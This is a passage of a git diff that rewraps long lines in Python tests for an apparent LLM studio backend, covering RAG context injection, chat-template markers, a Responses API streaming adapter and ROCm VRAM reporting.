sentinel) result = inf_tools.build_rag_autoinject(_convo(), {"kb_id": "K1"}) @@ -362,8 +415,22 @@ def test_build_rag_autoinject_kb_scope_never_whole_doc(rag_conn, monkeypatch): def test_whole_document_context_thread_scope_only(rag_conn): # A project corpus chunk is never whole-doc injected, even with a thread attachment. - _add_doc(rag_conn, store.thread_scope("t1"), "td", "thread.txt", "h1", ["thread attachment"]) - _add_doc(rag_conn, store.project_scope("p1"), "pd", "project.txt", "h2", ["project corpus"]) + _add_doc( + rag_conn, + store.thread_scope("t1"), + "td", + "thread.txt", + "h1", + ["thread attachment"], + ) + _add_doc( + rag_conn, + store.project_scope("p1"), + "pd", + "project.txt", + "h2", + ["project corpus"], + ) text, sources = tool.whole_document_context(scope_thread_id = "t1", max_tokens = 6000) assert "thread attachment" in text assert "project corpus" not in text @@ -401,7 +468,9 @@ def test_build_rag_autoinject_appends_project_retrieval(rag_conn, monkeypatch): return proj monkeypatch.setattr(tool, "search_for_autoinject", fake_search) - result = inf_tools.build_rag_autoinject(_convo(), {"thread_id": "t1", "project_id": "p1"}) + result = inf_tools.build_rag_autoinject( + _convo(), {"thread_id": "t1", "project_id": "p1"} + ) injected = _injected_text(result) # Whole thread attachment AND the project passage are both injected. assert "thread chunk one" in injected @@ -417,8 +486,12 @@ def test_build_rag_autoinject_appends_project_retrieval(rag_conn, monkeypatch): assert '[INST]", "response": "[/INST]"}, - "starling": {"instruction": "GPT4 Correct User:", "response": "GPT4 Correct Assistant:"}, + "starling": { + "instruction": "GPT4 Correct User:", + "response": "GPT4 Correct Assistant:", + }, "glm": {"instruction": "<|user|>", "response": "<|assistant|>"}, - "qwen3-thinking": {"instruction": "<|im_start|>user\n", "response": "<|im_start|>assistant\n"}, + "qwen3-thinking": { + "instruction": "<|im_start|>user\n", + "response": "<|im_start|>assistant\n", + }, "zephyr": {"instruction": "\n<|user|>\n", "response": "\n<|assistant|>\n"}, } # Spot-pin some known-good entries so a refactor cannot silently change them. EXPECTED_UNCHANGED = { - "qwen3": {"instruction": "<|im_start|>user\n", "response": "<|im_start|>assistant\n"}, + "qwen3": { + "instruction": "<|im_start|>user\n", + "response": "<|im_start|>assistant\n", + }, "llama-3.1": { "instruction": "<|start_header_id|>user<|end_header_id|>\n\n", "response": "<|start_header_id|>assistant<|end_header_id|>\n\n", @@ -76,7 +85,10 @@ EXPECTED_UNCHANGED = { "instruction": "<|im_start|>user<|im_sep|>", "response": "<|im_start|>assistant<|im_sep|>", }, - "gemma-3": {"instruction": "user\n", "response": "model\n"}, + "gemma-3": { + "instruction": "user\n", + "response": "model\n", + }, "gpt-oss": { "instruction": "<|start|>user<|message|>", "response": "<|start|>assistant<|channel|>final<|message|>", @@ -137,7 +149,9 @@ def _load_tokenizer(repo): from huggingface_hub import hf_hub_download from transformers import PreTrainedTokenizerFast - with open(hf_hub_download(repo, "tokenizer_config.json"), encoding = "utf-8") as f: + with open( + hf_hub_download(repo, "tokenizer_config.json"), encoding = "utf-8" + ) as f: cfg = _json.load(f) tok_file = hf_hub_download(repo, "tokenizer.json") @@ -180,7 +194,9 @@ def test_fixed_markers_token_level(template, repo): if hasattr(ids, "keys"): ids = ids["input_ids"] # transformers 5.x returns a BatchEncoding except Exception: - ids = tok.apply_chat_template(FIXTURE, tokenize = True, add_generation_prompt = False) + ids = tok.apply_chat_template( + FIXTURE, tokenize = True, add_generation_prompt = False + ) if hasattr(ids, "keys"): ids = ids["input_ids"] @@ -209,7 +225,9 @@ def test_fixed_markers_token_level(template, repo): i = n - 1 while i > 0 and tok.decode([ids[i]]).strip() == "": i -= 1 - assert labels[i] != -100, f"final token {tok.convert_ids_to_tokens(int(ids[i]))!r} is masked" + assert ( + labels[i] != -100 + ), f"final token {tok.convert_ids_to_tokens(int(ids[i]))!r} is masked" if __name__ == "__main__": diff --git a/studio/backend/tests/test_responses_api.py b/studio/backend/tests/test_responses_api.py index 693e832113..2ad5aeab94 100644 --- a/studio/backend/tests/test_responses_api.py +++ b/studio/backend/tests/test_responses_api.py @@ -168,7 +168,9 @@ class TestResponsesResponse: resp = ResponsesResponse( model = "test-model", output = [ - ResponsesOutputMessage(content = [ResponsesOutputTextContent(text = "Hello!")]), + ResponsesOutputMessage( + content = [ResponsesOutputTextContent(text = "Hello!")] + ), ], usage = ResponsesUsage(input_tokens = 10, output_tokens = 5, total_tokens = 15), ) diff --git a/studio/backend/tests/test_responses_tool_passthrough.py b/studio/backend/tests/test_responses_tool_passthrough.py index 69715649b7..3377e3a682 100644 --- a/studio/backend/tests/test_responses_tool_passthrough.py +++ b/studio/backend/tests/test_responses_tool_passthrough.py @@ -174,7 +174,9 @@ class TestResponsesMultiTurnInput: def test_function_call_output_missing_call_id_rejected(self): with pytest.raises(ValidationError): - ResponsesFunctionCallOutputInputItem(type = "function_call_output", output = "x") + ResponsesFunctionCallOutputInputItem( + type = "function_call_output", output = "x" + ) def test_function_call_output_accepts_content_array(self): item = ResponsesFunctionCallOutputInputItem( @@ -234,7 +236,9 @@ class TestToolsTranslation: assert _translate_responses_tools_to_chat([]) is None def test_only_builtin_tools_returns_none(self): - assert _translate_responses_tools_to_chat([{"type": "web_search_preview"}]) is None + assert ( + _translate_responses_tools_to_chat([{"type": "web_search_preview"}]) is None + ) def test_description_optional(self): out = _translate_responses_tools_to_chat( @@ -266,7 +270,9 @@ class TestToolChoiceTranslation: """A client sending the Chat Completions nested shape isn't double-wrapped.""" already_nested = {"type": "function", "function": {"name": "get_weather"}} - assert _translate_responses_tool_choice_to_chat(already_nested) == already_nested + assert ( + _translate_responses_tool_choice_to_chat(already_nested) == already_nested + ) def test_unknown_shape_passes_through(self): obj = {"type": "allowed_tools", "tools": [{"type": "function", "name": "x"}]} @@ -779,7 +785,9 @@ class TestResponsesNonStreamingAdapter: ) assert [item["type"] for item in body["output"]] == ["reasoning", "message"] - assert body["output"][0]["content"] == [{"type": "reasoning_text", "text": "plan"}] + assert body["output"][0]["content"] == [ + {"type": "reasoning_text", "text": "plan"} + ] assert body["output"][0]["summary"] == [] assert body["output"][1]["content"][0]["text"] == "33" assert "" not in body["output"][1]["content"][0]["text"] @@ -825,7 +833,9 @@ class TestResponsesNonStreamingAdapter: body = asyncio.run(run()) - assert body["output"][0]["content"] == [{"type": "reasoning_text", "text": "plan"}] + assert body["output"][0]["content"] == [ + {"type": "reasoning_text", "text": "plan"} + ] assert body["output"][1]["content"][0]["text"] == "answer" [entry] = monitor.snapshot() assert entry["status"] == "completed" @@ -918,8 +928,12 @@ class TestResponsesNonStreamingAdapter: assert monitor.active_count() == 0 assert request.state.skip_api_monitor is False - def test_literal_think_tags_remain_visible_without_reasoning_request(self, monkeypatch): - body = self._run_with_message(monkeypatch, {"content": "show x tags"}) + def test_literal_think_tags_remain_visible_without_reasoning_request( + self, monkeypatch + ): + body = self._run_with_message( + monkeypatch, {"content": "show x tags"} + ) assert [item["type"] for item in body["output"]] == ["message"] assert body["output"][0]["content"][0]["text"] == "show x tags" @@ -952,10 +966,14 @@ class TestResponsesNonStreamingAdapter: ) assert [item["type"] for item in body["output"]] == ["reasoning", "message"] - assert body["output"][0]["content"] == [{"type": "reasoning_text", "text": "plan"}] + assert body["output"][0]["content"] == [ + {"type": "reasoning_text", "text": "plan"} + ] assert body["output"][1]["content"][0]["text"] == "answer" - def test_reasoning_capable_gguf_sanitizes_think_tags_when_disabled(self, monkeypatch): + def test_reasoning_capable_gguf_sanitizes_think_tags_when_disabled( + self, monkeypatch + ): payload = ResponsesRequest(input = "hi", reasoning = {"effort": "none"}) body = self._run_with_message( monkeypatch, @@ -969,7 +987,9 @@ class TestResponsesNonStreamingAdapter: ) assert [item["type"] for item in body["output"]] == ["reasoning", "message"] - assert body["output"][0]["content"] == [{"type": "reasoning_text", "text": "leaked"}] + assert body["output"][0]["content"] == [ + {"type": "reasoning_text", "text": "leaked"} + ] assert body["output"][1]["content"][0]["text"] == "answer" def test_structured_reasoning_content_extracts_text_parts(self, monkeypatch): @@ -985,7 +1005,9 @@ class TestResponsesNonStreamingAdapter: ) assert [item["type"] for item in body["output"]] == ["reasoning", "message"] - assert body["output"][0]["content"] == [{"type": "reasoning_text", "text": "plan next"}] + assert body["output"][0]["content"] == [ + {"type": "reasoning_text", "text": "plan next"} + ] assert body["output"][1]["content"][0]["text"] == "33" def test_plain_content_remains_message_only(self, monkeypatch): @@ -1072,7 +1094,9 @@ class TestResponsesStreamAdapter: supports_reasoning = supports_reasoning, reasoning_always_on = reasoning_always_on, _request_reasoning_kwargs = ( - lambda enable_thinking = None, reasoning_effort = None, preserve_thinking = None: None + lambda enable_thinking = None, + reasoning_effort = None, + preserve_thinking = None: None ), ), ) @@ -1092,12 +1116,16 @@ class TestResponsesStreamAdapter: sent = [] async def receive(): - raise AssertionError("Responses streams poll disconnects in the generator") + raise AssertionError( + "Responses streams poll disconnects in the generator" + ) async def send(message): sent.append(message) - await response({"type": "http", "asgi": {"spec_version": "2.3"}}, receive, send) + await response( + {"type": "http", "asgi": {"spec_version": "2.3"}}, receive, send + ) return sent sent = asyncio.run(run()) @@ -1107,7 +1135,9 @@ class TestResponsesStreamAdapter: assert "response.output_text.delta" in body assert '"delta":"33"' in body.replace(" ", "") - def test_split_think_markers_stream_as_reasoning_and_visible_text(self, monkeypatch): + def test_split_think_markers_stream_as_reasoning_and_visible_text( + self, monkeypatch + ): chunks = [ {"choices": [{"delta": {"content": "pla"}}]}, @@ -1116,7 +1146,9 @@ class TestResponsesStreamAdapter: {"choices": [], "usage": {"prompt_tokens": 2, "completion_tokens": 3}}, ] self._install_stream_mock(monkeypatch, chunks) - payload = ResponsesRequest(input = "hi", stream = True, reasoning = {"effort": "high"}) + payload = ResponsesRequest( + input = "hi", stream = True, reasoning = {"effort": "high"} + ) messages = [ChatMessage(role = "user", content = "hi")] async def run(): @@ -1221,7 +1253,10 @@ class TestResponsesStreamAdapter: lines = asyncio.run(run()) - assert self._payloads(lines, "response.output_item.done")[-1]["item"]["name"] == "lookup" + assert ( + self._payloads(lines, "response.output_item.done")[-1]["item"]["name"] + == "lookup" + ) [entry] = monitor.snapshot() assert entry["status"] == "completed" assert entry["reply"] == 'Tool call: lookup({"query":"weather"})' @@ -1275,7 +1310,9 @@ class TestResponsesStreamAdapter: self._install_stream_mock(monkeypatch, []) monitor = ApiMonitor(max_entries = 3) monkeypatch.setattr(inf_mod, "api_monitor", monitor) - monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + monkeypatch.setattr( + inf_mod, "_send_stream_with_preheader_cancel", fake_send + ) monkeypatch.setattr(inf_mod, "_aiter_llama_stream_items", fake_items) monitor_id = monitor.start( endpoint = "/v1/responses", @@ -1331,7 +1368,9 @@ class TestResponsesStreamAdapter: def finish(self): return "", "tail" - self._install_stream_mock(monkeypatch, [{"choices": [{"delta": {"content": ""}}]}]) + self._install_stream_mock( + monkeypatch, [{"choices": [{"delta": {"content": ""}}]}] + ) monitor = ApiMonitor(max_entries = 3) monkeypatch.setattr(inf_mod, "api_monitor", monitor) monkeypatch.setattr(inf_mod, "_ResponsesReasoningExtractor", FakeExtractor) @@ -1402,12 +1447,17 @@ class TestResponsesStreamAdapter: lines = asyncio.run(run()) assert self._payloads(lines, "response.output_text.delta") == [] - assert self._payloads(lines, "response.reasoning_text.delta")[-1]["delta"] == "plan" + assert ( + self._payloads(lines, "response.reasoning_text.delta")[-1]["delta"] + == "plan" + ) [entry] = monitor.snapshot() assert entry["status"] == "completed" assert entry["reply"] == "" - def test_reasoning_capable_gguf_stream_parses_think_tags_by_default(self, monkeypatch): + def test_reasoning_capable_gguf_stream_parses_think_tags_by_default( + self, monkeypatch + ): chunks = [ {"choices": [{"delta": {"content": "plananswer"}}]}, @@ -1435,14 +1485,18 @@ class TestResponsesStreamAdapter: assert completed["response"]["output"][0]["content"][0]["text"] == "plan" assert completed["response"]["output"][1]["content"][0]["text"] == "answer" - def test_non_reasoning_gguf_stream_keeps_literal_think_tags_visible(self, monkeypatch): + def test_non_reasoning_gguf_stream_keeps_literal_think_tags_visible( + self, monkeypatch + ): chunks = [ {"choices": [{"delta": {"content": "show x tags"}}]}, {"choices": [], "usage": {"prompt_tokens": 2, "completion_tokens": 3}}, ] self._install_stream_mock(monkeypatch, chunks, supports_reasoning = False) - payload = ResponsesRequest(input = "hi", stream = True, reasoning = {"effort": "high"}) + payload = ResponsesRequest( + input = "hi", stream = True, reasoning = {"effort": "high"} + ) messages = [ChatMessage(role = "user", content = "hi")] async def run(): @@ -1454,7 +1508,10 @@ class TestResponsesStreamAdapter: reasoning_deltas = self._payloads(lines, "response.reasoning_text.delta") text_deltas = self._payloads(lines, "response.output_text.delta") assert reasoning_deltas == [] - assert "".join(event["delta"] for event in text_deltas) == "show x tags" + assert ( + "".join(event["delta"] for event in text_deltas) + == "show x tags" + ) completed = self._payloads(lines, "response.completed")[0] assert [item["type"] for item in completed["response"]["output"]] == ["message"] assert completed["response"]["output"][0]["content"][0]["text"] == ( @@ -1467,7 +1524,9 @@ class TestResponsesStreamAdapter: {"choices": [], "usage": {"prompt_tokens": 2, "completion_tokens": 3}}, ] self._install_stream_mock(monkeypatch, chunks) - payload = ResponsesRequest(input = "hi", stream = True, reasoning = {"effort": "high"}) + payload = ResponsesRequest( + input = "hi", stream = True, reasoning = {"effort": "high"} + ) messages = [ChatMessage(role = "user", content = "hi")] async def run(): @@ -1481,7 +1540,9 @@ class TestResponsesStreamAdapter: assert "".join(event["delta"] for event in reasoning_deltas) == "plan" assert text_deltas == [] completed = self._payloads(lines, "response.completed")[0] - assert [item["type"] for item in completed["response"]["output"]] == ["reasoning"] + assert [item["type"] for item in completed["response"]["output"]] == [ + "reasoning" + ] assert completed["response"]["output"][0]["content"][0]["text"] == "plan" def test_unclosed_think_stream_stays_out_of_visible_message_text(self, monkeypatch): @@ -1491,7 +1552,9 @@ class TestResponsesStreamAdapter: {"choices": [], "usage": {"prompt_tokens": 2, "completion_tokens": 3}}, ] self._install_stream_mock(monkeypatch, chunks) - payload = ResponsesRequest(input = "hi", stream = True, reasoning = {"effort": "high"}) + payload = ResponsesRequest( + input = "hi", stream = True, reasoning = {"effort": "high"} + ) messages = [ChatMessage(role = "user", content = "hi")] async def run(): @@ -1505,7 +1568,9 @@ class TestResponsesStreamAdapter: assert "".join(event["delta"] for event in reasoning_deltas) == "plan" assert text_deltas == [] completed = self._payloads(lines, "response.completed")[0] - assert [item["type"] for item in completed["response"]["output"]] == ["reasoning"] + assert [item["type"] for item in completed["response"]["output"]] == [ + "reasoning" + ] assert completed["response"]["output"][0]["content"][0]["text"] == "plan" def test_structured_reasoning_content_streams_as_reasoning(self, monkeypatch): @@ -1565,7 +1630,9 @@ class TestResponsesStreamAdapter: text_deltas = self._payloads(lines, "response.output_text.delta") assert "".join(event["delta"] for event in reasoning_deltas) == "plan next" assert "".join(event["delta"] for event in text_deltas) == "33" - assert "reasoning_text" not in "".join(event["delta"] for event in reasoning_deltas) + assert "reasoning_text" not in "".join( + event["delta"] for event in reasoning_deltas + ) completed = self._payloads(lines, "response.completed")[0] assert completed["response"]["output"][0]["content"][0]["text"] == "plan next" assert completed["response"]["output"][1]["content"][0]["text"] == "33" @@ -1603,7 +1670,10 @@ class TestResponsesStreamAdapter: done_events = self._payloads(lines, "response.output_item.done") assert [event["output_index"] for event in done_events] == [0, 1] - assert [event["item"]["type"] for event in done_events] == ["function_call", "message"] + assert [event["item"]["type"] for event in done_events] == [ + "function_call", + "message", + ] completed = self._payloads(lines, "response.completed")[0] assert [item["type"] for item in completed["response"]["output"]] == [ "function_call", @@ -1627,13 +1697,19 @@ class TestResponsesStreamAdapter: "index": 0, "id": "call_0", "type": "function", - "function": {"name": "first", "arguments": "{}"}, + "function": { + "name": "first", + "arguments": "{}", + }, }, { "index": 1, "id": "call_1", "type": "function", - "function": {"name": "second", "arguments": "{}"}, + "function": { + "name": "second", + "arguments": "{}", + }, }, ] } @@ -1670,7 +1746,9 @@ class TestResponsesStreamAdapter: base_url = "http://llama.test", # Non-reasoning template: the real backend returns None here. _request_reasoning_kwargs = ( - lambda enable_thinking = None, reasoning_effort = None, preserve_thinking = None: None + lambda enable_thinking = None, + reasoning_effort = None, + preserve_thinking = None: None ), ), ) @@ -1719,7 +1797,9 @@ class TestResponsesStreamAdapter: class TestResponsesOutputFunctionCall: def test_reasoning_output_item_serialises_full_reasoning_content(self): - item = ResponsesOutputReasoning(content = [{"type": "reasoning_text", "text": "plan"}]) + item = ResponsesOutputReasoning( + content = [{"type": "reasoning_text", "text": "plan"}] + ) d = item.model_dump() assert d["type"] == "reasoning" assert d["id"].startswith("rs_") @@ -1845,7 +1925,9 @@ class TestCodexStyleRequestShapes: msgs = _normalise_responses_input(payload) assert [m.role for m in msgs] == ["user", "assistant", "user"] - assert all("plan" not in (m.content or "") for m in msgs if isinstance(m.content, str)) + assert all( + "plan" not in (m.content or "") for m in msgs if isinstance(m.content, str) + ) def test_unknown_content_part_type_accepted(self): """Unknown content-part types (e.g. future input_audio) validate as @@ -1936,7 +2018,9 @@ class TestCodexStyleRequestShapes: input = [ { "role": "assistant", - "content": [{"type": "output_text", "text": "ok", "annotations": []}], + "content": [ + {"type": "output_text", "text": "ok", "annotations": []} + ], }, {"role": "user", "content": "next"}, ], @@ -2015,7 +2099,9 @@ class TestReasoningPrefilledExtractor: def test_prefilled_close_split_across_feeds(self): # T3: straddles two feed() calls; holdback resolves it. - ex = _ResponsesReasoningExtractor(parse_think_markers = True, reasoning_prefilled = True) + ex = _ResponsesReasoningExtractor( + parse_think_markers = True, reasoning_prefilled = True + ) r1, v1 = ex.feed("planans") fr, fv = ex.finish() @@ -2024,7 +2110,9 @@ class TestReasoningPrefilledExtractor: def test_prefilled_close_split_one_char_per_feed(self): # T4: every char in its own feed still splits correctly. - ex = _ResponsesReasoningExtractor(parse_think_markers = True, reasoning_prefilled = True) + ex = _ResponsesReasoningExtractor( + parse_think_markers = True, reasoning_prefilled = True + ) reasoning, visible = "", "" for ch in "planx": r, v = ex.feed(ch) @@ -2136,7 +2224,9 @@ class TestResponsesStreamHealing: TestResponsesStreamAdapter._install_stream_mock( monkeypatch, [{"choices": [{"delta": {"content": content}}]}] ) - payload = ResponsesRequest(input = "hi", stream = True, tools = [self._TOOL], **payload_kwargs) + payload = ResponsesRequest( + input = "hi", stream = True, tools = [self._TOOL], **payload_kwargs + ) messages = [ChatMessage(role = "user", content = "hi")] async def run(): @@ -2169,7 +2259,9 @@ class TestResponsesStreamHealing: def test_call_before_trailing_text_claims_lower_output_index(self, monkeypatch): events = self._run_stream(monkeypatch, f"{self._XML} done.") item_added = [ - (name, payload) for name, payload in events if name == "response.output_item.added" + (name, payload) + for name, payload in events + if name == "response.output_item.added" ] # The call came first in the model output, so its item is added first # and claims the lower output_index; the trailing text's message item @@ -2182,7 +2274,9 @@ class TestResponsesStreamHealing: msg_idx = item_added[1][1]["output_index"] assert call_idx < msg_idx text = "".join( - payload["delta"] for name, payload in events if name == "response.output_text.delta" + payload["delta"] + for name, payload in events + if name == "response.output_text.delta" ) assert "done." in text assert "" not in text @@ -2195,7 +2289,9 @@ class TestResponsesStreamHealing: if name == "response.output_item.added" ) text = "".join( - payload["delta"] for name, payload in events if name == "response.output_text.delta" + payload["delta"] + for name, payload in events + if name == "response.output_text.delta" ) assert text == self._XML @@ -2205,7 +2301,11 @@ class TestResponsesStreamHealing: # one with a later output index (native Responses stream shape). events = self._run_stream(monkeypatch, f"before {self._XML} after.") added = [ - (payload["output_index"], payload["item"]["type"], payload["item"].get("id")) + ( + payload["output_index"], + payload["item"]["type"], + payload["item"].get("id"), + ) for name, payload in events if name == "response.output_item.added" ] @@ -2225,9 +2325,15 @@ class TestResponsesStreamHealing: assert [d for i, d in deltas if i == added[0][2]] == ["before "] assert [d for i, d in deltas if i == added[2][2]] == [" after."] # The completed snapshot lists all three items with per-item text. - completed = [payload for name, payload in events if name == "response.completed"] + completed = [ + payload for name, payload in events if name == "response.completed" + ] output = completed[0]["response"]["output"] - assert [item["type"] for item in output] == ["message", "function_call", "message"] + assert [item["type"] for item in output] == [ + "message", + "function_call", + "message", + ] assert output[0]["content"][0]["text"] == "before " assert output[2]["content"][0]["text"] == " after." @@ -2248,7 +2354,10 @@ class TestResponsesStreamHealing: { "index": 0, "id": "call_up", - "function": {"name": "lookup", "arguments": "{}"}, + "function": { + "name": "lookup", + "arguments": "{}", + }, } ] } @@ -2275,7 +2384,8 @@ class TestResponsesStreamHealing: calls = [ payload for name, payload in events - if name == "response.output_item.added" and payload["item"]["type"] == "function_call" + if name == "response.output_item.added" + and payload["item"]["type"] == "function_call" ] assert len(calls) == 1 assert calls[0]["item"]["name"] == "lookup" diff --git a/studio/backend/tests/test_rocm_oom_guard.py b/studio/backend/tests/test_rocm_oom_guard.py index 699d0b74f5..bd48bd1c3b 100644 --- a/studio/backend/tests/test_rocm_oom_guard.py +++ b/studio/backend/tests/test_rocm_oom_guard.py @@ -172,7 +172,9 @@ class TestDeviceNameFallback: props = _props(name = device_name) gcn, is_unified = _rocm_classify_unified_memory(props) assert gcn == "", f"expected empty gcn_arch, got {gcn!r}" - assert is_unified is True, f"device {device_name!r} should be classified as unified-memory" + assert ( + is_unified is True + ), f"device {device_name!r} should be classified as unified-memory" # --- discrete devices that must NOT be mis-classified --- diff --git a/studio/backend/tests/test_rocm_windows_vram_7072.py b/studio/backend/tests/test_rocm_windows_vram_7072.py index b4079831b7..6241b51553 100644 --- a/studio/backend/tests/test_rocm_windows_vram_7072.py +++ b/studio/backend/tests/test_rocm_windows_vram_7072.py @@ -92,7 +92,9 @@ def _subprocess_run(*, adapter_output = "__NONE__\n", util_output = "12.0\n"): out = util_output else: out = "-1\n" - return subprocess.CompletedProcess(args = cmd, returncode = 0, stdout = out, stderr = "") + return subprocess.CompletedProcess( + args = cmd, returncode = 0, stdout = out, stderr = "" + ) return fake_run @@ -124,9 +126,13 @@ DEVICES = [("AMD Radeon PRO W7900", 48 * GB), ("AMD Radeon PRO W7500", 8 * GB)] # System tab (get_visible_gpu_utilization) -- the reporter's screenshot # ----------------------------------------------------------------------------- # def test_system_tab_shows_per_gpu_used(win_rocm, monkeypatch): - monkeypatch.setitem(sys.modules, "torch", _fake_torch(DEVICES, free_equals_total = True)) + monkeypatch.setitem( + sys.modules, "torch", _fake_torch(DEVICES, free_equals_total = True) + ) monkeypatch.setattr( - hw.subprocess, "run", _subprocess_run(adapter_output = _adapter_output(REPORTER_ADAPTERS)) + hw.subprocess, + "run", + _subprocess_run(adapter_output = _adapter_output(REPORTER_ADAPTERS)), ) devices = hw.get_visible_gpu_utilization()["devices"] @@ -140,14 +146,20 @@ def test_system_tab_shows_per_gpu_used(win_rocm, monkeypatch): assert by_idx[1]["vram_used_gb"] is None assert by_idx[1]["vram_utilization_pct"] is None assert all( - d["vram_used_gb"] <= d["vram_total_gb"] for d in devices if d["vram_used_gb"] is not None + d["vram_used_gb"] <= d["vram_total_gb"] + for d in devices + if d["vram_used_gb"] is not None ) def test_gpu_utilization_does_not_collapse(win_rocm, monkeypatch): - monkeypatch.setitem(sys.modules, "torch", _fake_torch(DEVICES, free_equals_total = True)) + monkeypatch.setitem( + sys.modules, "torch", _fake_torch(DEVICES, free_equals_total = True) + ) monkeypatch.setattr( - hw.subprocess, "run", _subprocess_run(adapter_output = _adapter_output(REPORTER_ADAPTERS)) + hw.subprocess, + "run", + _subprocess_run(adapter_output = _adapter_output(REPORTER_ADAPTERS)), ) result = hw.get_gpu_utilization() @@ -158,8 +170,12 @@ def test_gpu_utilization_does_not_collapse(win_rocm, monkeypatch): def test_localized_counter_reports_unknown_not_zero(win_rocm, monkeypatch): - monkeypatch.setitem(sys.modules, "torch", _fake_torch(DEVICES, free_equals_total = True)) - monkeypatch.setattr(hw.subprocess, "run", _subprocess_run(adapter_output = "__NONE__\n")) + monkeypatch.setitem( + sys.modules, "torch", _fake_torch(DEVICES, free_equals_total = True) + ) + monkeypatch.setattr( + hw.subprocess, "run", _subprocess_run(adapter_output = "__NONE__\n") + ) devices = hw.get_visible_gpu_utilization()["devices"] assert len(devices) == 2 # both still shown with correct totals @@ -197,12 +213,19 @@ def test_mem_get_info_guard_scopes_to_windows_rocm(monkeypatch): # Per-adapter attribution helpers (pure unit) # ----------------------------------------------------------------------------- # def test_match_adapter_pairs_and_clamps(): - assert hw._match_adapter_used_to_devices([40 * GB, 0.5 * GB], [48 * GB, 8 * GB]) == [ + assert hw._match_adapter_used_to_devices( + [40 * GB, 0.5 * GB], [48 * GB, 8 * GB] + ) == [ 40 * GB, 0.5 * GB, ] - assert hw._match_adapter_used_to_devices([100 * GB], [48 * GB]) == [48 * GB] # clamp - assert hw._match_adapter_used_to_devices([40 * GB], [48 * GB, 8 * GB]) == [40 * GB, None] + assert hw._match_adapter_used_to_devices([100 * GB], [48 * GB]) == [ + 48 * GB + ] # clamp + assert hw._match_adapter_used_to_devices([40 * GB], [48 * GB, 8 * GB]) == [ + 40 * GB, + None, + ] def test_match_adapter_reports_unknown_when_more_active_than_visible(): @@ -227,7 +250,9 @@ def test_match_adapter_reports_unknown_for_placeholder_fallback(): # Order of the counters must not matter. assert hw._match_adapter_used_to_devices([10 * MiB, 50 * MiB], [8 * GB]) == [None] # Two idle visible GPUs plus a placeholder: all three counters below the floor. - assert hw._match_adapter_used_to_devices([50 * MiB, 10 * MiB, 5 * MiB], [48 * GB, 8 * GB]) == [ + assert hw._match_adapter_used_to_devices( + [50 * MiB, 10 * MiB, 5 * MiB], [48 * GB, 8 * GB] + ) == [ None, None, ] @@ -236,28 +261,47 @@ def test_match_adapter_reports_unknown_for_placeholder_fallback(): def test_match_adapter_reports_unknown_when_usage_not_capacity_ordered(): # 8 GiB card at 7 GiB beside a 48 GiB card at 5 GiB: the bigger usage still fits # the smaller card, so both pairings are feasible -> unknown. - assert hw._match_adapter_used_to_devices([7 * GB, 5 * GB], [8 * GB, 48 * GB]) == [None, None] + assert hw._match_adapter_used_to_devices([7 * GB, 5 * GB], [8 * GB, 48 * GB]) == [ + None, + None, + ] # Device order must not matter (same physical situation, ordinals flipped). - assert hw._match_adapter_used_to_devices([7 * GB, 5 * GB], [48 * GB, 8 * GB]) == [None, None] + assert hw._match_adapter_used_to_devices([7 * GB, 5 * GB], [48 * GB, 8 * GB]) == [ + None, + None, + ] # Same-capacity cards with unequal usage are equally unattributable. - assert hw._match_adapter_used_to_devices([12 * GB, 8 * GB], [24 * GB, 24 * GB]) == [None, None] + assert hw._match_adapter_used_to_devices([12 * GB, 8 * GB], [24 * GB, 24 * GB]) == [ + None, + None, + ] # A single usage that fits both cards can sit on either -> unknown. - assert hw._match_adapter_used_to_devices([5 * GB], [48 * GB, 8 * GB]) == [None, None] + assert hw._match_adapter_used_to_devices([5 * GB], [48 * GB, 8 * GB]) == [ + None, + None, + ] # But a capacity-forced assignment (usage exceeds the smaller card) is kept: # 40 GiB can only be the 48 GiB card, so it is not fabrication. - assert hw._match_adapter_used_to_devices([40 * GB], [48 * GB, 8 * GB]) == [40 * GB, None] + assert hw._match_adapter_used_to_devices([40 * GB], [48 * GB, 8 * GB]) == [ + 40 * GB, + None, + ] def test_match_adapter_reports_unknown_when_hidden_usage_fits_visible_card(): # A survivor that merely *fits* a visible card must not be pinned onto it. Two # cards (48/8 GiB) at 40 GiB / 10 MiB beside a hidden 6 GiB adapter: the 6 GiB # fits the idle 8 GiB card but isn't forced -> Unknown; only 40 GiB is forced. - assert hw._match_adapter_used_to_devices([40 * GB, 10 * MiB, 6 * GB], [48 * GB, 8 * GB]) == [ + assert hw._match_adapter_used_to_devices( + [40 * GB, 10 * MiB, 6 * GB], [48 * GB, 8 * GB] + ) == [ 40 * GB, None, ] # Counter order must not matter. - assert hw._match_adapter_used_to_devices([6 * GB, 40 * GB, 10 * MiB], [48 * GB, 8 * GB]) == [ + assert hw._match_adapter_used_to_devices( + [6 * GB, 40 * GB, 10 * MiB], [48 * GB, 8 * GB] + ) == [ 40 * GB, None, ] @@ -307,7 +351,10 @@ def test_match_adapter_capacity_forced_matrix(): assert m([48 * GB, 3 * MiB, 3 * MiB], [24 * GB, 8 * GB]) == [None, None] # -- more active adapters than visible cards -> all unknown --------------- # assert m([40 * GB, 7 * GB, 6 * GB, 3 * MiB], [48 * GB, 8 * GB]) == [None, None] - assert m([40 * GB, 7 * GB, 6 * GB, 3 * MiB, 3 * MiB], [48 * GB, 8 * GB]) == [None, None] + assert m([40 * GB, 7 * GB, 6 * GB, 3 * MiB, 3 * MiB], [48 * GB, 8 * GB]) == [ + None, + None, + ] # -- every counter below the noise floor (placeholder fallback) -> unknown - # assert m([50 * MiB, 10 * MiB], [8 * GB]) == [None] assert m([50 * MiB, 10 * MiB, 5 * MiB], [48 * GB, 8 * GB]) == [None, None] @@ -319,12 +366,16 @@ def test_match_adapter_capacity_forced_matrix(): def test_perf_counter_parser_and_sentinel(monkeypatch): monkeypatch.setattr(hw.platform, "system", lambda: "Windows") monkeypatch.setattr( - hw.subprocess, "run", _subprocess_run(adapter_output = _adapter_output(REPORTER_ADAPTERS)) + hw.subprocess, + "run", + _subprocess_run(adapter_output = _adapter_output(REPORTER_ADAPTERS)), ) parsed = hw._rocm_windows_perf_counter_vram_by_adapter() assert parsed is not None and len(parsed) == 3 assert parsed[0][0].startswith("luid_") - monkeypatch.setattr(hw.subprocess, "run", _subprocess_run(adapter_output = "__NONE__\n")) + monkeypatch.setattr( + hw.subprocess, "run", _subprocess_run(adapter_output = "__NONE__\n") + ) assert hw._rocm_windows_perf_counter_vram_by_adapter() is None @@ -336,8 +387,12 @@ def test_unified_memory_adopts_torch_total_even_when_used_unknown(): GTT pool) is authoritative. The correction must still adopt the larger total; used stays at 